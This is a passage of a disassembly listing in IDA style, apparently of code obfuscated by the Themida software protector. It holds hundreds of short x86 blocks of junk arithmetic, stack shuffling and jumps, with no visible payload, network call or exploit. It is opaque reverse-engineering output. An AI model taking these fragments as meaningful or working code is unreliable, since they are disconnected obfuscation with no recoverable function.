; ---------------------------------------------------------------------------


loc_59E580:				; CODE XREF: Themida_:0059D894j
		add	esi, eax
		sub	esi, 3E20635Ch
		sub	esi, 5C5B2E0Ch
		mov	eax, [esp]
		jmp	loc_5A37E2
; ---------------------------------------------------------------------------


loc_59E596:				; CODE XREF: Themida_:005A1B6Aj
		sub	dword ptr [esp], 7515752h
		jmp	loc_5A1DC0
; ---------------------------------------------------------------------------


loc_59E5A2:				; CODE XREF: Themida_:005A53AFj
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	2BABh
		mov	[esp], ebx
		push	4CEEh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0AFh
		jmp	loc_59DFB6
; ---------------------------------------------------------------------------


loc_59E5D8:				; CODE XREF: Themida_:00594F0Cj
		mov	esp, [esp]
		mov	cx, [esp]
		push	11E7h
		mov	[esp], ecx
		push	41CEh
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_59088F
; ---------------------------------------------------------------------------


loc_59E607:				; CODE XREF: Themida_:005916B8j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		push	2CCD1976h
		pop	edi
		add	edi, 7BFA1732h
		shr	edi, 2
		shr	edi, 8
		push	esi
		push	eax
		mov	eax, 4BD0117Bh
		mov	esi, eax
		pop	eax
		add	esi, 639C4A58h
		shr	esi, 7
		inc	esi
		and	esi, 46347AB8h
		add	esi, 15D910h
		jmp	loc_59BA68
; ---------------------------------------------------------------------------


loc_59E646:				; CODE XREF: Themida_:00591904j
		mov	[esp], esi
		push	1
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 24h
		jmp	loc_5A4F54
; ---------------------------------------------------------------------------


loc_59E668:				; CODE XREF: Themida_:0059631Fj
		pop	ebp
		add	ecx, edi
		jmp	loc_59B2AA
; ---------------------------------------------------------------------------


loc_59E670:				; CODE XREF: Themida_:005A2BB3j
		push	eax
		mov	eax, 6F6F5691h
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59CD99
; ---------------------------------------------------------------------------


loc_59E686:				; CODE XREF: Themida_:005993FCj
		sub	ebx, 65273994h
		sub	ebx, 70041FDBh
		sub	ebx, 1894691h
		jmp	loc_591887
; ---------------------------------------------------------------------------


loc_59E69D:				; CODE XREF: Themida_:00598F81j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	edx
		jmp	loc_595510
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_59AD74
; ---------------------------------------------------------------------------


loc_59E6BE:				; CODE XREF: Themida_:0059ED72j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5989A8
; ---------------------------------------------------------------------------


loc_59E6D0:				; CODE XREF: Themida_:0059E36Bj
		pop	edi
		add	esp, 4
		jmp	loc_5920B5
; ---------------------------------------------------------------------------


loc_59E6DC:				; CODE XREF: Themida_:005983E7j
		and	edx, 2F52070Ch
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59EFD2
; ---------------------------------------------------------------------------


loc_59E6F0:				; CODE XREF: Themida_:00596760j
		sub	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, ebp
		mov	eax, edi
		pop	edi
		pop	ebp
		jmp	loc_5A0904
; ---------------------------------------------------------------------------


loc_59E704:				; CODE XREF: Themida_:0059E472j
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 379D08C0h
		jmp	loc_59F7C9
; ---------------------------------------------------------------------------


loc_59E716:				; CODE XREF: Themida_:005A1A48j
		mov	edx, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_596790
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		mov	esi, esp
		push	edx
		push	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2A2066EBh
		sub	esi, 5B8F57B1h
		push	ebp
		jmp	loc_5999A3
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_59C3EB
		push	1B30h
		mov	[esp], edx
		jmp	loc_5994AF
; ---------------------------------------------------------------------------


loc_59E76A:				; CODE XREF: Themida_:0059770Bj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	7B01h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_596F6D
; ---------------------------------------------------------------------------


loc_59E798:				; CODE XREF: Themida_:0059E4D7j
		or	si, 447h
		xor	si, 3983h
		push	1646h
		mov	[esp], edx
		mov	dx, si
		mov	di, dx
		pop	edx
		jmp	loc_5A1151
; ---------------------------------------------------------------------------


loc_59E7B6:				; CODE XREF: Themida_:00592FE1j
		pop	eax
		add	esi, 2
		push	0D11h
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_595B6C
; ---------------------------------------------------------------------------


loc_59E7CE:				; CODE XREF: Themida_:00591E04j
		mov	ebx, 2
		add	edx, ebx
		jmp	loc_59FE1D
; ---------------------------------------------------------------------------


loc_59E7DA:				; CODE XREF: Themida_:005A10F5j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_594F6D
; ---------------------------------------------------------------------------


loc_59E7E7:				; CODE XREF: Themida_:005977FAj
		mov	dx, 2A4Ah
		jmp	loc_5975BA
; ---------------------------------------------------------------------------


loc_59E7F0:				; CODE XREF: Themida_:0059852Cj
		push	eax
		mov	ah, 18h
		add	bh, ah
		jmp	loc_59F85E
; ---------------------------------------------------------------------------


loc_59E7FA:				; CODE XREF: Themida_:005947C8j
		sub	ebx, 694505C2h
		add	ebx, esi
		jmp	loc_59B22D
; ---------------------------------------------------------------------------


loc_59E807:				; CODE XREF: Themida_:0059E568j
		pop	esi
		add	esi, 4
		push	edx
		jmp	loc_59393D
; ---------------------------------------------------------------------------


loc_59E814:				; CODE XREF: Themida_:005A0EDFj
		add	ebp, 0D6CBD33Bh
		push	ebp
		pop	eax
		push	dword ptr [esp]
		jmp	loc_5908DF
; ---------------------------------------------------------------------------


loc_59E824:				; CODE XREF: Themida_:005A269Cj
		mov	[esp], ecx
		push	713E1768h
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	ecx, 1FA579F9h
		sub	ecx, 4F7A5454h
		push	edx
		jmp	loc_5973B7
; ---------------------------------------------------------------------------


loc_59E851:				; CODE XREF: Themida_:00595155j
		mov	ecx, 68716ADBh
		add	[esp+4], ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5A27D9
; ---------------------------------------------------------------------------


loc_59E86F:				; CODE XREF: Themida_:005A20D4j
		add	esp, 4
		pop	ecx
		jmp	loc_598DDA
; ---------------------------------------------------------------------------


loc_59E878:				; CODE XREF: Themida_:005A10A2j
		mov	esi, 5C8FE6B7h
		add	edx, esi
		pop	esi
		add	edi, edx
		pop	edx
		pop	ebp
		push	ebx
		push	esi
		mov	esi, 3E786EA3h
		push	esi
		pop	ebx
		pop	esi
		add	ebx, 18197D42h
		not	ebx
		neg	ebx
		not	ebx
		push	edx
		jmp	loc_59CCBB
; ---------------------------------------------------------------------------


loc_59E8A0:				; CODE XREF: Themida_:00593D35j
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		push	7FF8793Bh
		pop	edi
		shl	edi, 2
		sub	edi, 0FFE1E4E8h
		add	ecx, edi
		jmp	loc_5995BF
; ---------------------------------------------------------------------------


loc_59E8C5:				; CODE XREF: Themida_:0059EB41j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5A4908
; ---------------------------------------------------------------------------


loc_59E8CE:				; CODE XREF: Themida_:005A1E2Aj
		mov	dh, 0Dh
		sub	al, dh
		mov	dx, [esp]
		push	5229h
		jmp	loc_59B18A
; ---------------------------------------------------------------------------


loc_59E8E0:				; CODE XREF: Themida_:0059487Bj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		push	ebp
		mov	ebp, 42111BE3h
		jmp	loc_5A23D1
; ---------------------------------------------------------------------------


loc_59E901:				; CODE XREF: Themida_:00591256j
		mov	[esp], ebp
		mov	ebp, 61622B45h
		add	ebp, 7A5705DAh
		or	ebp, 5F8427E7h
		jmp	loc_5A1EA2
; ---------------------------------------------------------------------------


loc_59E91A:				; CODE XREF: Themida_:005A0B17j
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		mov	ch, bh
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_59ED77
; ---------------------------------------------------------------------------


loc_59E92F:				; CODE XREF: Themida_:0059ED89j
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A0029
; ---------------------------------------------------------------------------


loc_59E98D:				; CODE XREF: Themida_:00593ECDj
		mov	esi, 45B93C1Ah
		jmp	loc_593212
; ---------------------------------------------------------------------------


loc_59E997:				; CODE XREF: Themida_:0059FE30j
		add	bh, 80h
		sub	al, bh
		pop	ebx
		sub	al, 7Dh
		sub	al, bl
		add	al, 7Dh
		add	al, 9Ch
		mov	bx, [esp]
		jmp	loc_5A287F
; ---------------------------------------------------------------------------


loc_59E9AE:				; CODE XREF: Themida_:00596D2Dj
		add	esp, 4
		jmp	loc_598889
; ---------------------------------------------------------------------------


loc_59E9B6:				; CODE XREF: Themida_:005937C9j
		mov	ecx, 0ADE3F58h
		mov	edi, 415DEBBCh
		add	edi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 4C3C2B15h
		sub	edi, ecx
		pop	ecx
		push	edx
		jmp	loc_59C09A
; ---------------------------------------------------------------------------


loc_59E9D2:				; CODE XREF: Themida_:0059C99Fj
		add	eax, 8140D429h
		sub	ecx, 2C9B2AFFh
		sub	ecx, 19DB4E09h
		add	ecx, 1D7C16B6h
		add	ecx, eax
		sub	ecx, 1D7C16B6h
		add	ecx, 19DB4E09h
		push	edx
		mov	edx, 62175960h
		inc	edx
		add	edx, 5F304C24h
		sub	edx, 94AC7A86h
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5922BB
; ---------------------------------------------------------------------------


loc_59EA1A:				; CODE XREF: Themida_:00591BAAj
		and	edi, 2B572F4Bh
		add	edi, 0D5FDF702h
		add	esi, edi
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5A3072
; ---------------------------------------------------------------------------


loc_59EA3A:				; CODE XREF: Themida_:0059572Fj
		mov	eax, esp
		jmp	loc_59875D
; ---------------------------------------------------------------------------


loc_59EA41:				; CODE XREF: Themida_:005952BAj
		sub	esp, 4
		jmp	loc_591330
; ---------------------------------------------------------------------------


loc_59EA4C:				; CODE XREF: Themida_:0059C4B9j
		mov	eax, esp
		add	eax, 4
		push	esi
		push	esi
		mov	esi, esp
		jmp	loc_5A113D
; ---------------------------------------------------------------------------


loc_59EA5C:				; CODE XREF: Themida_:005A38B7j
		sub	ebp, edi
		jmp	loc_598775
; ---------------------------------------------------------------------------


loc_59EA63:				; CODE XREF: Themida_:00594AD4j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_59A52B
; ---------------------------------------------------------------------------


loc_59EA78:				; CODE XREF: Themida_:0059AEBEj
		pop	esp
		jmp	loc_59667D
; ---------------------------------------------------------------------------


loc_59EA7E:				; CODE XREF: Themida_:00590D0Aj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_59051F
; ---------------------------------------------------------------------------


loc_59EA8E:				; CODE XREF: Themida_:0059B47Cj
		add	edx, edi
		push	esi
		push	eax
		push	75D961B8h
		jmp	loc_599028
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_59486F
; ---------------------------------------------------------------------------


loc_59EAA8:				; CODE XREF: Themida_:0059B20Dj
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 2
		add	edx, ebp
		jmp	loc_59E545
; ---------------------------------------------------------------------------


loc_59EABE:				; CODE XREF: Themida_:005A4005j
		mov	cl, bh
		pop	ebx
		and	cl, 0C1h
		xor	cl, 66h
		and	cl, 0BCh
		jmp	loc_593CEB
; ---------------------------------------------------------------------------


loc_59EACF:				; CODE XREF: Themida_:005990CCj
		inc	edi
		or	edi, 179A5A86h
		dec	edi
		push	edx
		mov	edx, 11A2697Fh
		and	edi, edx
		pop	edx
		jmp	loc_5A24A0
; ---------------------------------------------------------------------------


loc_59EAE5:				; CODE XREF: Themida_:00597DCDj
		mov	[esp], eax
		mov	ah, 6Ch
		add	ah, 9Dh
		xor	bh, ah
		pop	eax
		jmp	loc_597F15
; ---------------------------------------------------------------------------


loc_59EAF5:				; CODE XREF: Themida_:00598CFAj
		add	edx, eax
		jmp	loc_5930D6
; ---------------------------------------------------------------------------


loc_59EAFC:				; CODE XREF: Themida_:00591A75j
		shr	ecx, 2
		sub	ecx, 68344ACBh
		shl	ecx, 7
		jmp	loc_594507
; ---------------------------------------------------------------------------


loc_59EB0D:				; CODE XREF: Themida_:0059431Bj
		sub	ecx, 0D1E0F6A9h
		jmp	loc_59B873
; ---------------------------------------------------------------------------


loc_59EB18:				; CODE XREF: Themida_:005A434Aj
		push	edx
		mov	dl, 0CAh
		push	bx
		mov	bl, 0A8h
		jmp	loc_598895
; ---------------------------------------------------------------------------


loc_59EB24:				; CODE XREF: Themida_:005A2AE5j
		mov	edx, 0E1C507Ch
		sub	edx, 0DEAF0BC7h
		sub	eax, 433288Ch
		jmp	loc_590888
; ---------------------------------------------------------------------------


loc_59EB39:				; CODE XREF: Themida_:005A092Dj
		mov	eax, 4
		add	ecx, eax
		pop	eax
		jmp	loc_59E8C5
; ---------------------------------------------------------------------------


loc_59EB46:				; CODE XREF: Themida_:00596E63j
		add	ecx, 2135950h
		add	ecx, 155F34BFh
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_59248E
; ---------------------------------------------------------------------------


loc_59EB5B:				; CODE XREF: Themida_:0059AFB7j
		mov	al, ch
		mov	bh, al
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	[edi+eax*4+1], bh
		jmp	loc_5948A8
; ---------------------------------------------------------------------------


loc_59EB72:				; CODE XREF: Themida_:00590E75j
		sub	edi, esi
		add	edi, 28B00529h
		pop	esi
		push	eax
		mov	eax, 37BC6F84h
		dec	eax
		jmp	loc_5A4CE8
; ---------------------------------------------------------------------------


loc_59EB87:				; CODE XREF: Themida_:005A46D0j
		push	ebx
		mov	bh, al
		mov	ch, bh
		pop	ebx
		pop	eax
		pop	ebx
		push	eax
		sub	esp, 4
		mov	[esp], ebp
		push	5DAE3F24h
		pop	ebp
		add	ebp, 0A251C0DCh
		mov	eax, ebp
		pop	ebp
		add	eax, 498644Ch
		add	eax, edx
		sub	eax, 498644Ch
		push	ebx
		jmp	loc_599118
; ---------------------------------------------------------------------------


loc_59EBB7:				; CODE XREF: Themida_:005A1A8Dj
		sub	cl, al
		push	dword ptr [esp]
		pop	eax
		jmp	loc_598410
; ---------------------------------------------------------------------------


loc_59EBC2:				; CODE XREF: Themida_:0059CE7Cj
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_591239
; ---------------------------------------------------------------------------


loc_59EBD4:				; CODE XREF: Themida_:00595191j
		push	eax
		mov	eax, 54B2312Ch
		sub	edx, eax
		push	dword ptr [esp]
		jmp	loc_59987A
; ---------------------------------------------------------------------------


loc_59EBE4:				; CODE XREF: Themida_:00595418j
		sub	ebp, edi
		sub	ebp, 644C225Eh
		pop	edi
		sub	dword ptr [esp+4], 537704B0h
		sub	[esp+4], ebp
		add	dword ptr [esp+4], 537704B0h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_591F1D
; ---------------------------------------------------------------------------


loc_59EC10:				; CODE XREF: Themida_:0059DC80j
		push	esp
		pop	edi
		push	ecx
		push	esi
		mov	esi, 610E6527h
		shr	esi, 5
		jmp	loc_593CB5
; ---------------------------------------------------------------------------


loc_59EC21:				; CODE XREF: Themida_:0059A599j
		sub	esp, 4
		mov	[esp], edx
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_599712
; ---------------------------------------------------------------------------


loc_59EC33:				; CODE XREF: Themida_:005921CAj
		add	esp, 4
		jmp	loc_5A0B94
; ---------------------------------------------------------------------------


loc_59EC3B:				; CODE XREF: Themida_:0059C933j
		pop	esp
		jmp	loc_596C73
; ---------------------------------------------------------------------------


loc_59EC41:				; CODE XREF: Themida_:00592B39j
		add	ebx, 4
		push	41BAh
		mov	[esp], ebp
		jmp	loc_595279
; ---------------------------------------------------------------------------


loc_59EC54:				; CODE XREF: Themida_:005A2E1Dj
		mov	edx, [esp]
		add	esp, 4
		shl	ecx, 8
		jmp	loc_59B048
; ---------------------------------------------------------------------------


loc_59EC65:				; CODE XREF: Themida_:005A487Fj
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		sub	edx, eax
		pop	eax
		jmp	loc_5A1C03
; ---------------------------------------------------------------------------


loc_59EC7C:				; CODE XREF: Themida_:005A082Cj
		push	37Ah
		jmp	loc_59BC58
; ---------------------------------------------------------------------------


loc_59EC86:				; CODE XREF: Themida_:00597EAFj
		add	eax, 6E182184h
		jmp	loc_5A1DD8
; ---------------------------------------------------------------------------


loc_59EC90:				; CODE XREF: Themida_:005A19ABj
		sub	eax, 10E34ABDh
		sub	eax, edx
		add	eax, 10E34ABDh
		pop	edx
		jmp	loc_59C641
; ---------------------------------------------------------------------------


loc_59ECA2:				; CODE XREF: Themida_:0059E200j
		sub	esi, 0EAD7FD27h
		add	eax, esi
		pop	esi
		sub	eax, 1ECF48D3h
		sub	eax, 17C91145h
		add	eax, 5E675877h
		sub	eax, ebp
		sub	eax, 5E675877h
		add	eax, 17C91145h
		add	eax, 1ECF48D3h
		sub	eax, 5C2D547Eh
		push	edi
		mov	edi, esp
		jmp	loc_59E3C7
; ---------------------------------------------------------------------------


loc_59ECD8:				; CODE XREF: Themida_:0059FCC9j
		mov	esi, eax
		jmp	loc_59C475
; ---------------------------------------------------------------------------


loc_59ECDF:				; CODE XREF: Themida_:005A189Ej
		sub	dh, bl
		jmp	loc_5A420D
; ---------------------------------------------------------------------------


loc_59ECE6:				; CODE XREF: Themida_:00594609j
		not	ebp
		xor	ebp, 0D002D843h
		add	ebx, ebp
		pop	ebp
		add	ebx, edi
		push	edx
		mov	edx, 856184Ch
		sub	ebx, edx
		pop	edx
		push	ecx
		jmp	loc_5924B3
; ---------------------------------------------------------------------------


loc_59ED02:				; CODE XREF: Themida_:005A0DB7j
		add	edx, 1
		jmp	loc_5A2366
; ---------------------------------------------------------------------------


loc_59ED0D:				; CODE XREF: Themida_:0059C8E9j
		not	eax
		jmp	loc_5A031C
; ---------------------------------------------------------------------------


loc_59ED14:				; CODE XREF: Themida_:0059A005j
		mov	edi, 614C136Ah
		add	eax, edi
		pop	edi
		jmp	loc_593B59
; ---------------------------------------------------------------------------


loc_59ED21:				; CODE XREF: Themida_:005A08B2j
		pop	edi
		push	edi
		push	ebx
		mov	ebx, 5883132Dh
		mov	edi, ebx
		pop	ebx
		add	ebx, 25544CFBh
		add	ebx, edi
		push	esi
		mov	esi, 348C7B2Fh
		shl	esi, 2
		shr	esi, 1
		inc	esi
		add	esi, 2D482A8Ch
		xor	esi, 0B3356C10h
		add	ebx, 0C7F4ADFh
		sub	ebx, esi
		sub	ebx, 0C7F4ADFh
		jmp	loc_59B459
; ---------------------------------------------------------------------------


loc_59ED5F:				; CODE XREF: Themida_:0059FE56j
		mov	eax, 2
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ecx, [esp]
		jmp	loc_59E6BE
; ---------------------------------------------------------------------------


loc_59ED77:				; CODE XREF: Themida_:0059E92Aj
		push	ecx
		mov	ecx, esp
		push	eax
		jmp	loc_5A2C95
; ---------------------------------------------------------------------------


loc_59ED80:				; CODE XREF: Themida_:00595BF1j
		push	eax
		jmp	loc_5929DF
; ---------------------------------------------------------------------------


loc_59ED86:				; CODE XREF: Themida_:0059B043j
		mov	eax, [esp]
		jmp	loc_59E92F
; ---------------------------------------------------------------------------


loc_59ED8E:				; CODE XREF: Themida_:005A1417j
		mov	eax, [esp]
		jmp	loc_598719
; ---------------------------------------------------------------------------


loc_59ED96:				; CODE XREF: Themida_:0059C28Bj
		shl	edx, 1
		push	4374h
		mov	[esp], ecx
		jmp	loc_598990
; ---------------------------------------------------------------------------


loc_59EDA5:				; CODE XREF: Themida_:0059A1E3j
		add	ebp, 4
		sub	esp, 4
		mov	[esp], eax
		push	esi
		mov	esi, 45DC42EEh
		jmp	loc_59412F
; ---------------------------------------------------------------------------


loc_59EDBF:				; CODE XREF: Themida_:0059B8E3j
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_59E398
; ---------------------------------------------------------------------------


loc_59EDD3:				; CODE XREF: Themida_:005A48F9j
		sub	edx, 3532046Dh
		add	edx, 46022A5h
		add	edx, eax
		sub	edx, 46022A5h
		push	ecx
		mov	ecx, 0ACA6788h
		jmp	loc_594379
; ---------------------------------------------------------------------------


loc_59EDF2:				; CODE XREF: Themida_:0059664Cj
		dec	eax
		push	edi
		push	ebx
		mov	ebx, 42337760h
		push	ebx
		pop	edi
		pop	ebx
		sub	edi, 1E065FCAh
		sub	edi, 41B91D6Fh
		sub	edi, 0E273FA28h
		add	eax, edi
		pop	edi
		dec	eax
		sub	eax, 3E505DEDh
		push	esi
		mov	esi, 2D993BE4h
		shl	esi, 3
		shl	esi, 6
		not	esi
		add	esi, 1402DD5h
		sub	esi, 0D2F545A2h
		sub	eax, esi
		pop	esi
		add	ebx, 1A5C07AFh
		add	ebx, eax
		sub	ebx, 1A5C07AFh
		pop	eax
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5A5767
; ---------------------------------------------------------------------------


loc_59EE54:				; CODE XREF: Themida_:00597693j
		add	eax, 4
		jmp	loc_595433
; ---------------------------------------------------------------------------


loc_59EE5E:				; CODE XREF: Themida_:005A32D5j
		pop	ebp
		neg	ebx
		shr	ebx, 8
		jmp	loc_5A2938
; ---------------------------------------------------------------------------


loc_59EE69:				; CODE XREF: Themida_:005A465Dj
		push	edi
		mov	edi, 2B4C3A60h
		add	edi, 0C57C3FD1h
		add	eax, edi
		pop	edi
		push	eax
		pop	edx
		pop	eax
		jmp	loc_596637
; ---------------------------------------------------------------------------


loc_59EE80:				; CODE XREF: Themida_:00596F82j
		mov	[esp], edi
		mov	edi, esp
		push	esi
		jmp	loc_597F5F
; ---------------------------------------------------------------------------


loc_59EE8B:				; CODE XREF: Themida_:005A2AA8j
		add	esp, 2
		mov	cx, [esp]
		add	esp, 2
		sub	bx, ax
		jmp	loc_5A147D
; ---------------------------------------------------------------------------


loc_59EEA0:				; CODE XREF: Themida_:00593387j
		mov	edx, 0FD56CD97h
		add	edx, esi
		jmp	loc_59619F
; ---------------------------------------------------------------------------


loc_59EEAC:				; CODE XREF: Themida_:005A3C51j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59EEC1:				; CODE XREF: Themida_:0059CD0Dj
		push	6D69h
		mov	[esp], ebp
		mov	ebp, 11C15C6Bh
		not	ebp
		shr	ebp, 4
		neg	ebp
		jmp	loc_59AC7C
; ---------------------------------------------------------------------------


loc_59EEDA:				; CODE XREF: Themida_:005A2CC9j
		add	ebx, 53DE44F8h
		add	ebx, 19E356C6h
		add	ebx, 48A51AA2h
		jmp	loc_5A2411
; ---------------------------------------------------------------------------


loc_59EEF1:				; CODE XREF: Themida_:0059779Aj
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_590BE0
; ---------------------------------------------------------------------------


loc_59EF04:				; CODE XREF: Themida_:005A4B4Aj
		shl	ebx, 1
		not	ebx
		add	ebx, 52D62660h
		add	eax, ebx
		pop	ebx
		mov	edx, eax
		pop	eax
		push	ebp
		jmp	loc_596022
; ---------------------------------------------------------------------------


loc_59EF1A:				; CODE XREF: Themida_:005A2FEAj
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		push	esi
		jmp	loc_5A5028
; ---------------------------------------------------------------------------


loc_59EF2B:				; CODE XREF: Themida_:00599E84j
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		push	ecx
		push	4
		pop	ecx
		add	[esp+4], ecx
		pop	ecx
		pop	eax
		push	esi
		mov	esi, 37C9068Ch
		not	esi
		inc	esi
		jmp	loc_59D681
; ---------------------------------------------------------------------------


loc_59EF53:				; CODE XREF: Themida_:005A2B05j
		xor	ebp, 326A5B55h
		add	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5A393D
; ---------------------------------------------------------------------------


loc_59EF6D:				; CODE XREF: Themida_:005A4709j
		pop	edx
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		not	dword ptr [esp]
		jmp	loc_59BBAD
; ---------------------------------------------------------------------------


loc_59EF82:				; CODE XREF: Themida_:005A3D64j
		or	eax, ebx
		jmp	loc_5A5434
; ---------------------------------------------------------------------------


loc_59EF89:				; CODE XREF: Themida_:005A1671j
		pop	ebx
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	ebx
		push	6A990609h
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 4875B748h
		mov	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5958D6
; ---------------------------------------------------------------------------


loc_59EFD2:				; CODE XREF: Themida_:0059E6EBj
		mov	ecx, 3B3F6F76h
		xor	ecx, 0A13A0Dh
		xor	edx, ecx
		jmp	loc_5A295D
; ---------------------------------------------------------------------------


loc_59EFE4:				; CODE XREF: Themida_:005926EBj
		mov	ecx, 63247EACh
		xor	ecx, 32D458E1h
		or	ecx, 568140B8h
		push	2865h
		mov	[esp], ebp
		mov	ebp, 7654C85h
		jmp	loc_59B42E
; ---------------------------------------------------------------------------


loc_59F007:				; CODE XREF: Themida_:005978A4j
		mov	ebp, 5F3E2324h
		mov	ebx, ebp
		pop	ebp
		push	7FEDh
		mov	[esp], edi
		mov	edi, 370F3542h
		and	ebx, edi
		push	dword ptr [esp]
		jmp	loc_5A4419
; ---------------------------------------------------------------------------


loc_59F026:				; CODE XREF: Themida_:00591A3Cj
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_593DA9
; ---------------------------------------------------------------------------


loc_59F02F:				; CODE XREF: Themida_:00591D19j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_596C47
; ---------------------------------------------------------------------------


loc_59F03B:				; CODE XREF: Themida_:005949E9j
		sub	[esp], edx
		jmp	loc_590C99
; ---------------------------------------------------------------------------


loc_59F043:				; CODE XREF: Themida_:0059757Cj
		pop	esp
		jmp	loc_59801C
; ---------------------------------------------------------------------------


loc_59F049:				; CODE XREF: Themida_:005A06DCj
		pop	ebp
		push	ebx
		mov	ebx, 733778D1h
		dec	ebx
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		shr	ebx, 5
		add	ebx, 516B064Ch
		or	edx, ebx
		pop	ebx
		and	edx, 49B370Fh
		push	eax
		jmp	loc_5945DC
; ---------------------------------------------------------------------------


loc_59F06F:				; CODE XREF: Themida_:005A086Fj
		push	eax
		mov	eax, 4B0F3AB1h
		mov	ebx, eax
		jmp	loc_59B0B5
; ---------------------------------------------------------------------------


loc_59F07C:				; CODE XREF: Themida_:00592DC8j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_59D192
; ---------------------------------------------------------------------------


loc_59F094:				; CODE XREF: Themida_:0059B643j
		pop	ebx
		jmp	loc_597CBB
; ---------------------------------------------------------------------------


loc_59F09A:				; CODE XREF: Themida_:0059F864j
		sub	cl, 0B5h
		jmp	loc_591D70
; ---------------------------------------------------------------------------


